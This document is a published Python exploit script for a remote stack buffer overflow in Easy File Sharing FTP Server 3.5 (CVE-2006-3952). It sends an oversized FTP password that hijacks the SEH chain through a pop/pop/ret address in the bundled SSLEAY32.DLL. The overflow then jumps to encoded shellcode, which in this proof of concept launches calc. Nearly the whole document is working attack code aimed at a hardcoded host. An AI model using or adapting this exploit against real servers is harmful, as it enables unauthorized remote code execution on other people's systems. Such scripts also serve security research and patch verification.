Easy File Sharing FTP Server 3.5 – Remote Stack Buffer Overflow
#!/usr/bin/env python # Exploit Title: Easy File Sharing FTP Server 3.5 stack buffer overflow # Date: 27 May 2014 # Exploit Author: superkojiman - http://www.techorganic.com # Vulnerability discovered by: h07 # CVE: CVE-2006-3952 # OSVDB: 27646 # Vendor Homepage: http://www.efssoft.com # Software Link: http://www.efssoft.com/ftpserver.htm # Version: 3.5 # Tested on: Windows 8.1 Enterprise , English # : Windows 7 Enterprise SP1, English # : Windows XP SP3, English # # Description: # A buffer overflow is triggered when when a large password is sent to the # server. # # h07 found this bug in 2006, targetting EFS FTP Server 2.0. The original # exploits relied on OS DLLs to reference a pop/pop/retn address to leverage a # SEH attack. This was a bit unreliable as different versions of Windows would # have different addresses and the exploit would need to be modified with the # correct pop/pop/retn address. # # Fast forward to 2014. EFS FTP Server is now at version 3.5 (2012) and # includes new features, such as SSL support. Ironically, by adding SSL # support, they've given us a reliable pop/pop/retn address in the included # SSLEAY32.DLL! This exploit should work reliably with any Windows release. import socket import struct # calc shellcode from https://code.google.com/p/win-exec-calc-shellcode/ # msfencode -b "\x00\x20" -i w32-exec-calc-shellcode.bin # [*] x86/shikata_ga_nai succeeded with size 101 (iteration=1) shellcode = ( "\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" + "\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" + "\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" + "\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" + "\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" + "\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" + "\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" + "\x1c\x39\xbd" ) payload = "\x2c" payload += "A"*2559 payload += "\xeb\x19\x90\x90" # jmp to nop sled + shellcode payload += struct.pack("<I", 0x10017F21) # pop/pop/ret, SSLEAY32.DLL payload += "\x90"*30 payload += shellcode s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.1.130", 21)) s.recv(1024) s.send("USER anonymous\r\n") s.recv(1024) s.send("PASS " + payload + "\r\n") s.recv(1024) s.close() |